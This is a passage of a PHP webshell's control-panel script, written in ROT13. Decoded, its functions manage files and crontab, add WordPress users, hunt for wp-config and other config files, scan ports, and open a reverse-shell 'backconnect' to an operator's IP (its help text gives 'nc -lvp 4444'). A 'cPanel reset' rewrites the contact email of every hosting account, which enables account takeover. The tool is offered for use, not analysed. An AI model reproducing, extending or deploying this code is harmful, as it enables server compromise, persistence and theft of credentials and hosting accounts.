        nyreg('Reebe fnivat svyr: ' + reebe);
    });
}

shapgvba puzbqSvyr(svyrcngu, pheeragCrez) {
    ine arjCrez = cebzcg('Punatr crezvffvbaf sbe:\a' + svyrcngu + '\a\aPheerag: ' + pheeragCrez + '\aArj (r.t., 755):', pheeragCrez);
    vs (arjCrez !== ahyy && arjCrez !== '') {
        jvaqbj.ybpngvba.uers = '?npgvba=puzbq&svyr=' + rapbqrHEVPbzcbarag(svyrcngu) + '&crez=' + arjCrez + '&qve=' + rapbqrHEVPbzcbarag('<?cuc rpub $pheerag_qve; ?>');
    }
}

shapgvba eranzrSvyr(svyrcngu) {
    ine arjAnzr = cebzcg('Eranzr svyr:\a' + svyrcngu + '\a\aArj anzr:', svyrcngu.fcyvg('/').cbc());
    vs (arjAnzr !== ahyy && arjAnzr !== '') {
        ine sbez = qbphzrag.perngrRyrzrag('sbez');
        sbez.zrgubq = 'cbfg';
        sbez.vaareUGZY = '<vachg glcr="uvqqra" anzr="npgvba" inyhr="eranzr">' +
                         '<vachg glcr="uvqqra" anzr="byqanzr" inyhr="' + svyrcngu + '">' +
                         '<vachg glcr="uvqqra" anzr="arjanzr" inyhr="' + svyrcngu.ercynpr(svyrcngu.fcyvg('/').cbc(), arjAnzr) + '">';
        qbphzrag.obql.nccraqPuvyq(sbez);
        sbez.fhozvg();
    }
}

shapgvba qryrgrSvyr(svyrcngu) {
    vs (pbasvez('Ner lbh fher lbh jnag gb qryrgr:\a' + svyrcngu + '?')) {
        jvaqbj.ybpngvba.uers = '?npgvba=qryrgr&svyr=' + rapbqrHEVPbzcbarag(svyrcngu) + '&qve=' + rapbqrHEVPbzcbarag('<?cuc rpub $pheerag_qve; ?>');
    }
}

// Pebagno shapgvbaf
shapgvba ybnqPebagno() {
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: 'nwnk=gehr&npgvba=ivrj_pebagno'
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg bhgchg = qbphzrag.trgRyrzragOlVq('pebagnoBhgchg');
        pbafg grkgnern = qbphzrag.trgRyrzragOlVq('pebagnoPbagrag');
        
        vs (qngn.fhpprff) {
            bhgchg.grkgPbagrag = qngn.bhgchg;
            grkgnern.inyhr = qngn.bhgchg;
        } ryfr {
            bhgchg.grkgPbagrag = qngn.bhgchg;
            grkgnern.inyhr = qngn.bhgchg;
        }
    })
    .pngpu(reebe => {
        qbphzrag.trgRyrzragOlVq('pebagnoBhgchg').grkgPbagrag = 'Reebe ybnqvat pebagno: ' + reebe;
    });
}

shapgvba fnirPebagno() {
    pbafg pbagrag = qbphzrag.trgRyrzragOlVq('pebagnoPbagrag').inyhr;
    
    vs (!pbasvez('Ner lbh fher lbh jnag gb hcqngr pebagno?')) {
        erghea;
    }
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=fnir_pebagno&pebagno_pbagrag=${rapbqrHEVPbzcbarag(pbagrag)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg bhgchg = qbphzrag.trgRyrzragOlVq('pebagnoBhgchg');
        vs (qngn.fhpprff) {
            bhgchg.grkgPbagrag = qngn.bhgchg;
            nyreg('Pebagno hcqngrq fhpprffshyyl!');
        } ryfr {
            bhgchg.grkgPbagrag = qngn.bhgchg;
            nyreg('Reebe hcqngvat pebagno!');
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe fnivat pebagno: ' + reebe);
    });
}

shapgvba nqqPebagnoRknzcyr() {
    ine rknzcyr = "# Pebagno Rknzcyrf\a\a" +
                 "# Eha rirel zvahgr\a" +
                 "* * * * * /cngu/gb/pbzznaq\a\a" +
                 "# Eha rirel qnl ng 2:30 NZ\a" +
                 "30 2 * * * /cngu/gb/pbzznaq\a\a" +
                 "# Eha rirel Zbaqnl ng 5 CZ\a" +
                 "0 17 * * 1 /cngu/gb/pbzznaq\a\a" +
                 "# Eha rirel 10 zvahgrf\a" +
                 "*/10 * * * * /cngu/gb/pbzznaq\a\a" +
                 "# Eha ba erobbg\a" +
                 "@erobbg /cngu/gb/pbzznaq";
    
    ine grkgnern = qbphzrag.trgRyrzragOlVq('pebagnoPbagrag');
    grkgnern.inyhr = grkgnern.inyhr + '\a\a' + rknzcyr;
}

shapgvba pyrnePebagno() {
    vs (pbasvez('Ner lbh fher lbh jnag gb pyrne gur pebagno pbagrag?')) {
        qbphzrag.trgRyrzragOlVq('pebagnoPbagrag').inyhr = '';
    }
}

// JbeqCerff Hfre shapgvbaf
shapgvba nqqJcHfre() {
    pbafg sbez = qbphzrag.trgRyrzragOlVq('jcHfreSbez');
    pbafg sbezQngn = arj SbezQngn(sbez);
    
    pbafg qngn = {
        hfreanzr: sbezQngn.trg('hfreanzr'),
        cnffjbeq: sbezQngn.trg('cnffjbeq'),
        rznvy: sbezQngn.trg('rznvy'),
        ebyr: sbezQngn.trg('ebyr'),
        jc_pbasvt_cngu: sbezQngn.trg('jc_pbasvt_cngu')
    };
    
    vs (!qngn.hfreanzr || !qngn.cnffjbeq || !qngn.rznvy || !qngn.jc_pbasvt_cngu) {
        nyreg('Nyy svryqf ner erdhverq');
        erghea;
    }
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=nqq_jc_hfre&hfreanzr=${rapbqrHEVPbzcbarag(qngn.hfreanzr)}&cnffjbeq=${rapbqrHEVPbzcbarag(qngn.cnffjbeq)}&rznvy=${rapbqrHEVPbzcbarag(qngn.rznvy)}&ebyr=${rapbqrHEVPbzcbarag(qngn.ebyr)}&jc_pbasvt_cngu=${rapbqrHEVPbzcbarag(qngn.jc_pbasvt_cngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg bhgchg = qbphzrag.trgRyrzragOlVq('jcHfreBhgchg');
        vs (qngn.fhpprff) {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #28n745;">${qngn.bhgchg}</qvi>`;
        } ryfr {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">${qngn.bhgchg}</qvi>`;
        }
    })
    .pngpu(reebe => {
        qbphzrag.trgRyrzragOlVq('jcHfreBhgchg').vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba svaqJcPbasvt() {
    rkrphgrPbzznaq('svaq /ine/jjj -anzr "jc-pbasvt.cuc" 2>/qri/ahyy | urnq -10');
    fjvgpuGno('grezvany');
}

// Cbeg Fpnaare shapgvbaf
shapgvba fpnaCbegf() {
    pbafg ubfg = qbphzrag.trgRyrzragOlVq('fpnaUbfg').inyhr || 'ybpnyubfg';
    pbafg cbegf = qbphzrag.trgRyrzragOlVq('fpnaCbegf').inyhr || '21,22,23,25,53,80,110,443,3306,3389,5432';
    
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('cbegFpnaareBhgchg');
    bhgchg.vaareUGZY = 'Fpnaavat cbegf...';
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=fpna_cbegf&ubfg=${rapbqrHEVPbzcbarag(ubfg)}&cbegf=${rapbqrHEVPbzcbarag(cbegf)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            bhgchg.vaareUGZY = qngn.bhgchg.fcyvg('\a').znc(yvar => {
                vs (yvar.vapyhqrf('BCRA')) {
                    erghea `<qvi fglyr="pbybe: #28n745;">${yvar}</qvi>`;
                } ryfr {
                    erghea `<qvi fglyr="pbybe: #6p757q;">${yvar}</qvi>`;
                }
            }).wbva('');
        } ryfr {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">${qngn.bhgchg}</qvi>`;
        }
    })
    .pngpu(reebe => {
        bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba dhvpxFpna() {
    qbphzrag.trgRyrzragOlVq('fpnaCbegf').inyhr = '21,22,80,443,3306,3389';
    fpnaCbegf();
}

// Jrofuryy Fpnaare shapgvbaf
shapgvba fpnaJrofuryyf() {
    pbafg cngu = qbphzrag.trgRyrzragOlVq('fpnaCngu').inyhr || '/ine/jjj';
    
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('jrofuryyFpnaareBhgchg');
    bhgchg.vaareUGZY = 'Fpnaavat sbe jrofuryyf...';
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=fpna_jrofuryyf&fpna_cngu=${rapbqrHEVPbzcbarag(cngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg erfhygfQvi = qbphzrag.trgRyrzragOlVq('jrofuryyErfhygf');
        erfhygfQvi.vaareUGZY = '';
        
        vs (qngn.fhpprff && qngn.svyrf && qngn.svyrf.yratgu > 0) {
            bhgchg.vaareUGZY = `Sbhaq ${qngn.svyrf.yratgu} fhfcvpvbhf svyrf`;
            
            qngn.svyrf.sbeRnpu(svyr => {
                pbafg svyrQvi = qbphzrag.perngrRyrzrag('qvi');
                svyrQvi.pynffAnzr = 'jrofuryy-vgrz';
                svyrQvi.vaareUGZY = `
                    <fgebat>Svyr:</fgebat> ${svyr.cngu}<oe>
                    <fgebat>Fvmr:</fgebat> ${svyr.fvmr} olgrf<oe>
                    <fgebat>Cnggreaf:</fgebat> ${svyr.cnggreaf.wbva(', ')}<oe>
                    <qvi fglyr="znetva-gbc: 10ck;">
                        <ohggba pynff="oga oga-qnatre oga-fz" bapyvpx="qryrgrJrofuryy('${svyr.cngu.ercynpr(/'/t, "\\'")}')">Qryrgr</ohggba>
                        <ohggba pynff="oga oga-jneavat oga-fz" bapyvpx="ivrjJrofuryyPbqr('${svyr.cngu.ercynpr(/'/t, "\\'")}')">Ivrj Pbqr</ohggba>
                    </qvi>
                `;
                erfhygfQvi.nccraqPuvyq(svyrQvi);
            });
        } ryfr {
            bhgchg.vaareUGZY = 'Ab jrofuryyf sbhaq';
        }
    })
    .pngpu(reebe => {
        bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba qryrgrJrofuryy(svyrCngu) {
    vs (!pbasvez('Ner lbh fher lbh jnag gb qryrgr guvf svyr?')) {
        erghea;
    }
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=qryrgr_jrofuryy&svyr_cngu=${rapbqrHEVPbzcbarag(svyrCngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            nyreg('Svyr qryrgrq fhpprffshyyl');
            fpnaJrofuryyf(); // Erserfu fpna
        } ryfr {
            nyreg('Snvyrq gb qryrgr svyr: ' + qngn.bhgchg);
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe: ' + reebe);
    });
}

shapgvba ivrjJrofuryyPbqr(svyrCngu) {
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=trg_jrofuryy_pbqr&svyr_cngu=${rapbqrHEVPbzcbarag(svyrCngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            pbafg zbqny = qbphzrag.perngrRyrzrag('qvi');
            zbqny.pynffAnzr = 'zbqny';
            zbqny.fglyr.qvfcynl = 'oybpx';
            zbqny.vaareUGZY = `
                <qvi pynff="zbqny-pbagrag">
                    <u3>Jrofuryy Pbqr: ${svyrCngu.fcyvg('/').cbc()}</u3>
                    <qvi pynff="pbqr-cerivrj">${qngn.pbagrag.ercynpr(/</t, '&yg;').ercynpr(/>/t, '&tg;')}</qvi>
                    <qvi fglyr="znetva-gbc: 20ck;">
                        <ohggba pynff="oga oga-qnatre" bapyvpx="guvf.pybfrfg('.zbqny').erzbir()">Pybfr</ohggba>
                    </qvi>
                </qvi>
            `;
            qbphzrag.obql.nccraqPuvyq(zbqny);
        } ryfr {
            nyreg('Reebe ybnqvat svyr: ' + qngn.reebe);
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe: ' + reebe);
    });
}

// Onpxpbaarpg shapgvbaf
shapgvba fgnegOnpxpbaarpg() {
    pbafg ubfg = qbphzrag.trgRyrzragOlVq('onpxpbaarpgUbfg').inyhr;
    pbafg cbeg = qbphzrag.trgRyrzragOlVq('onpxpbaarpgCbeg').inyhr || '4444';
    
    vs (!ubfg) {
        nyreg('Cyrnfr ragre lbhe VC nqqerff');
        erghea;
    }
    
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('onpxpbaarpgBhgchg');
    bhgchg.vaareUGZY = 'Fgnegvat onpxpbaarpg...';
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=onpxpbaarpg&ubfg=${rapbqrHEVPbzcbarag(ubfg)}&cbeg=${rapbqrHEVPbzcbarag(cbeg)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #28n745;">${qngn.bhgchg}</qvi>`;
        } ryfr {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">${qngn.bhgchg}</qvi>`;
        }
    })
    .pngpu(reebe => {
        bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba fubjOnpxpbaarpgUryc() {
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('onpxpbaarpgBhgchg');
    bhgchg.vaareUGZY = `
        <fgebat>Onpxpbaarpg Uryc:</fgebat><oe>
        1. Ba lbhe znpuvar, eha: <pbqr>ap -yic 4444</pbqr><oe>
        2. Ragre lbhe VC nqqerff nobir<oe>
        3. Pyvpx "Fgneg Onpxpbaarpg"<oe>
        4. Lbh fubhyq trg n erirefr furyy pbaarpgvba<oe><oe>
        <fgebat>Abgr:</fgebat> Guvf erdhverf bhgobhaq pbaarpgvbaf sebz gur freire.
    `;
}

// Pbasvt Uhagre shapgvbaf
shapgvba fpnaPbasvtSvyrf() {
    pbafg cngu = qbphzrag.trgRyrzragOlVq('pbasvtFpnaCngu').inyhr || '/ine/jjj';
    
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('pbasvtUhagreBhgchg');
    bhgchg.vaareUGZY = 'Fpnaavat sbe pbasvt svyrf...';
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=fpna_pbasvt_svyrf&fpna_cngu=${rapbqrHEVPbzcbarag(cngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg erfhygfQvi = qbphzrag.trgRyrzragOlVq('pbasvtErfhygf');
        erfhygfQvi.vaareUGZY = '';
        
        vs (qngn.fhpprff && qngn.svyrf && qngn.svyrf.yratgu > 0) {
            bhgchg.vaareUGZY = `Sbhaq ${qngn.svyrf.yratgu} pbasvt svyrf`;
            
            qngn.svyrf.sbeRnpu(svyr => {
                pbafg svyrQvi = qbphzrag.perngrRyrzrag('qvi');
                svyrQvi.pynffAnzr = 'pbasvt-vgrz';
                svyrQvi.vaareUGZY = `
                    <fgebat>Svyr:</fgebat> ${svyr.cngu}<oe>
                    <fgebat>Fvmr:</fgebat> ${svyr.fvmr} olgrf<oe>
                    <fgebat>Zbqvsvrq:</fgebat> ${svyr.zbqvsvrq}<oe>
                    <qvi fglyr="znetva-gbc: 10ck;">
                        <ohggba pynff="oga oga-vasb oga-fz" bapyvpx="ivrjSvyrPbagrag('${svyr.cngu.ercynpr(/'/t, "\\'")}')">Ivrj</ohggba>
                    </qvi>
                `;
                erfhygfQvi.nccraqPuvyq(svyrQvi);
            });
        } ryfr {
            bhgchg.vaareUGZY = 'Ab pbasvt svyrf sbhaq';
        }
    })
    .pngpu(reebe => {
        bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba ivrjSvyrPbagrag(svyrCngu) {
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=trg_svyr_pbagrag&svyrcngu=${rapbqrHEVPbzcbarag(svyrCngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            pbafg zbqny = qbphzrag.perngrRyrzrag('qvi');
            zbqny.pynffAnzr = 'zbqny';
            zbqny.fglyr.qvfcynl = 'oybpx';
            zbqny.vaareUGZY = `
                <qvi pynff="zbqny-pbagrag">
                    <u3>Svyr Pbagrag: ${svyrCngu.fcyvg('/').cbc()}</u3>
                    <qvi pynff="pbqr-cerivrj">${qngn.pbagrag.ercynpr(/</t, '&yg;').ercynpr(/>/t, '&tg;')}</qvi>
                    <qvi fglyr="znetva-gbc: 20ck;">
                        <ohggba pynff="oga oga-qnatre" bapyvpx="guvf.pybfrfg('.zbqny').erzbir()">Pybfr</ohggba>
                    </qvi>
                </qvi>
            `;
            qbphzrag.obql.nccraqPuvyq(zbqny);
        } ryfr {
            nyreg('Reebe ybnqvat svyr: ' + qngn.reebe);
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe: ' + reebe);
    });
}

// pCnary Erfrg shapgvbaf
shapgvba erfrgPcnary() {
    pbafg rznvy = qbphzrag.trgRyrzragOlVq('pcnaryRznvy').inyhr;
    
    vs (!rznvy) {
        nyreg('Cyrnfr ragre na rznvy nqqerff');
        erghea;
    }
    
    vs (!pbasvez('Guvf jvyy erfrg pCnary pbagnpg rznvy sbe nyy hfref. Pbagvahr?')) {
        erghea;
    }
    
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('pcnaryErfrgBhgchg');
    bhgchg.vaareUGZY = 'Erfrggvat pCnary rznvyf...';
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=erfrg_pcnary&rznvy=${rapbqrHEVPbzcbarag(rznvy)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #28n745;">${qngn.bhgchg}</qvi>`;
        } ryfr {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">${qngn.bhgchg}</qvi>`;
        }
    })
    .pngpu(reebe => {
        bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba fubjPcnaryUryc() {
    pbafg bhgchg = qbphzrag.trgRyrzragOlVq('pcnaryErfrgBhgchg');
    bhgchg.vaareUGZY = `
        <fgebat>pCnary Erfrg Uryc:</fgebat><oe>
        Guvf srngher erfrgf gur pbagnpg rznvy va pCnary pbasvthengvba svyrf.<oe>
        Vg nssrpgf nyy hfref va /ubzr/*/.pcnary/pbagnpgvasb<oe><oe>
        <fgebat>Hfntr:</fgebat><oe>
        1. Ragre gur arj rznvy nqqerff<oe>
        2. Pyvpx "Erfrg pCnary Rznvy"<oe>
        3. Nyy pCnary nppbhagf jvyy hfr guvf rznvy sbe pbagnpg
    `;
}
</fpevcg>
</obql>
</ugzy>
<?cuc
shapgvba sbezng_fvmr($fvmr) {
    vs ($fvmr == 0) erghea '0 O';
    $havgf = ['O', 'XO', 'ZO', 'TO'];
    $havg = 0;
    juvyr ($fvmr >= 1024 && $havg < pbhag($havgf) - 1) {
        $fvmr /= 1024;
        $havg++;
    }
    erghea ebhaq($fvmr, 2) . ' ' . $havgf[$havg];
}
?>

@ Telegram